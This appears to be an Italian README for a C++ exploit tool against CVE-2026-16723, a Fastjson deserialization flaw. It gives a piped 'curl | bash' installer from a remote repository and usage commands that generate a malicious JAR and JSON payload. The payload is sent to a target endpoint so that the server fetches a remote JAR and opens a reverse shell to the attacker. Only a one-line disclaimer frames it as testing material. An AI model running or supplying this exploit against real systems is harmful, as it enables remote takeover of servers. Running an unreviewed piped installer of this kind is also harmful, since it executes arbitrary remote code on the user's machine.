Exploit per CVE-2026-16723

Un'implementazione standalone in C++17 per CVE-2026-16723, una vulnerabilità critica che interessa Fastjson nelle versioni 1.2.68 – 1.2.83.

Requisiti

• Linux (o WSL su Windows)

• Compilatore compatibile con C++17 (GCC 7+ o Clang 5+)

• CMake 3.10 o superiore

• Pacchetti di sistema:

  • libzip-dev
  • zlib1g-dev

Debian / Ubuntu

sudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev

---

Installazione

Installazione rapida (consigliata)

Installa tutto con un singolo comando:

curl -sSL https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh | bash

Oppure scarica ed esegui manualmente l'installer:

wget https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh

Lo script di installazione:

• Installa tutti i pacchetti di sistema richiesti.

• Scarica le librerie header-only necessarie:

  • nlohmann/json
  • cpp-httplib

• Compila il progetto.

• Colloca il binario compilato nella directory corrente come:

./exploit

---

Compilazione manuale

Se hai clonato il repository:

git clone https://github.com/1xPwn/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh

Oppure compila manualmente:

mkdir build
cd build

cmake ..
make -j$(nproc)

cp exploit ../

---

Utilizzo

Esegui il binario:

./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]

Esempio

./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000

Dopo l'esecuzione verranno creati i seguenti file:

x
body.json

Il server HTTP si avvierà sulla porta configurata (predefinita: 8000) e lo strumento attenderà una connessione reverse shell in ingresso.

---

Invio del payload

Invia il file body.json generato all'endpoint vulnerabile:

curl -X POST http://<TARGET_IP>:8080/api/products/search \
     -H "Content-Type: application/json" \
     --data-binary @body.json

Se l'applicazione si aspetta un campo JSON diverso, specificalo tramite l'opzione --field.

---

Opzioni da riga di comando

Opzione	Descrizione	Predefinito
--lhost	Indirizzo IP locale	Obbligatorio
--lport	Porta di ascolto della reverse shell	4444
--http-port	Porta del server HTTP	8000
--first	Primo file descriptor da provare	3
--last	Ultimo file descriptor da provare	30
--field	Nome del campo JSON	facets
--outdir	Directory di output	.
-h, --help	Mostra il messaggio di aiuto	—

---

File di output

File	Descrizione
x	Payload JAR generato
body.json	Payload JSON da inviare al target

---

Note

• Questo progetto è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi.
• L'implementazione forza l'applicazione target a scaricare e caricare un JAR remoto utilizzando i protocolli jar:http e jar:file.
• Il comando della reverse shell è codificato in Base64 per ridurre i problemi di escaping.

Seguimi su Twitter(X)

• MNM